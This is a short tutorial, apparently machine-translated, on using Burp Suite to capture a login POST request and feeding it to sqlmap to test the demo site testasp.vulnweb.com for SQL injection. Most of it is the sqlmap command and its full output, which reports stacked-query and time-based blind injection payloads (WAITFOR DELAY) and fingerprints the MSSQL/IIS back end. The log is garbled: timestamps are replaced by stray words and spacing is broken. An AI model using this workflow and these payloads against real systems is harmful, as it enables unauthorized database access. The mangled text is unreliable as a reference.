Original address: http://www.freebuf.com/tools/2311.html
When we use Sqlmap for post-type injection, there are often cases where a request is missed causing an injection failure.
Here's a little tip to share: Using Sqlmap with Burpsuite, it's more accurate and easy to do post injection testing in this way.
1. The browser opens the destination address http://testasp.vulnweb.com/Login.asp
2. Configure the Burp agent (127.0.0.1:8080) to intercept requests
3. Click the Submit button on the login form
4. For example, burp will intercept our login POST request at this time
5. Copy this post request to TXT, which I named Search-test.txt and put it in the Sqlmap directory
6. Run Sqlmap and use the following command:./sqlmap.py-r search-test.txt-p Tfupass, here the parameter-R is let Sqlmap load our POST request Rsearch-test.txt, and-p everyone should be more familiar with, Specifies the parameters for injection.
./sqlmap.py-r Search-test.txt-P Tfupasssqlmap/0.9-automatic SQL injection and database takeover toolhttp://sqlmap.sourceforge.net[*] starting at: -: -: the[ -: -: the] [INFO] parsing HTTP request from 'Search-test.txt'[ -: -: the] [WARNING] the testable parameter'Tfupass'You provided isNot into the get[ -: -: the] [WARNING] the testable parameter'Tfupass'You provided isNot into the cookie[ -: -: the] [INFO]using '/home/testuser/sqlmap/output/testasp.vulnweb.com/session' asSession file[ -: -: the] [INFO] resuming injection data fromSession file[ -: -: the] [WARNING] There isAn injectioninchPOST parameter'Tfuname'But do not provided it Thistime[ -: -: the] [INFO] testing connection to the target url[ -: -: -] [INFO] TestingifThe URL isstable, wait a few seconds[ -: -: -] [INFO] url isstable[ -: -: -] [WARNING] heuristic test shows that POST parameter'Tfupass'might not being injectable[ -: -: -] [INFO] Testing SQL injection on POST parameter'Tfupass'[ -: -: -] [INFO] Testing'and boolean-based blind-where or HAVING clause'[ -: -: Geneva] [INFO] Testing'MySQL >= 5.0 and error-based-where or HAVING clause'[ -: -: to] [INFO] Testing'PostgreSQL and error-based-where or HAVING clause'[ -: -: -] [INFO] Testing'Microsoft SQL server/sybase and error-based-where or HAVING clause'[ -: -:Ten] [INFO] Testing'Oracle and Error-based-where or HAVING clause (XMLType)'[ -: -: A] [INFO] Testing'MySQL > 5.0.11 Stacked Queries'[ -: -: -] [INFO] Testing'PostgreSQL > 8.1 Stacked Queries'[ -: -: -] [INFO] Testing'Microsoft SQL server/sybase Stacked Queries'[ -: -: -] [INFO] POST parameter'Tfupass' is 'Microsoft SQL server/sybase Stacked Queries'injectable[ -: -: -] [INFO] Testing'MySQL > 5.0.11 and time-based blind'[ -: -: to] [INFO] Testing'PostgreSQL > 8.1 and time-based blind'[ -: -: to] [INFO] Testing'Microsoft SQL server/sybase time-based Blind'[ -: -: the] [INFO] POST parameter'Tfupass' is 'Microsoft SQL server/sybase time-based Blind'injectable[ -: -: the] [INFO] Testing'MySQL UNION Query (NULL)-1 to Columns'[ -: -: -] [INFO] Testing'Generic UNION Query (NULL)-1 to ten columns'[ -: -: -] [WARNING]usingunescaped version of the test because of zero knowledge of the back-End Dbmssqlmap got a302REDIRECT To/search.asp-what target Address DoYou want fromNow on? http//testasp.vulnweb.com:80/login.asp (default) or provide another target address based also on the redirection got from th E Application>[ -: -: -] [INFO] target URL appears to is UNION injectable with2columnspost parameter'Tfupass' isVulnerable. Want to keep testing the others? [y/N] Nsqlmap identified the following injection points with a total of theHTTP (s) Requests:---Place:POSTParameter:tfUPass type:stacked queries title:microsoft SQL Server/Sybase Stacked Queries Payload:tfuname=test&tfupass=test'; WAITFOR DELAY'0:0:5';-- and'mPFC'='MPFC Type:and/or time-based blind Title:microsoft SQL Server/sybase time-based Blind Payload:tfuname=test&tfupass=test'WAITFOR DELAY'0:0:5'-- and'Wpkc'='WPKC---[ -: -: ,] [INFO] Testing mysql[ -: -: the] [WARNING] the Back-end DBMS isNot mysql[ -: -: the] [INFO] Testing oracle[ -: -:Ten] [WARNING] the Back-end DBMS isNot oracle[ -: -:Ten] [INFO] Testing postgresql[ -: -:Ten] [WARNING] the Back-end DBMS isNot postgresql[ -: -:Ten] [INFO] testing Microsoft SQL server[ -: -: -] [INFO] confirming Microsoft SQL server[ -: -: -] [INFO] the Back-end DBMS isMicrosoft SQL Serverweb server operating system:windows2003Web Application Technology:ASP.NET, Microsoft IIS6.0 Back-end Dbms:microsoft SQL Server2005[ -: -: -] [WARNING] HTTP error codes detected during testing: -(Internal Server Error)- thetimes[ -: -: -] [INFO] fetched data logged to text files under'/home/testuser/sqlmap/output/testasp.vulnweb.com'[*] shutting down at: -: -: -
Post injection testing with Burpsuite auxiliary sqlmap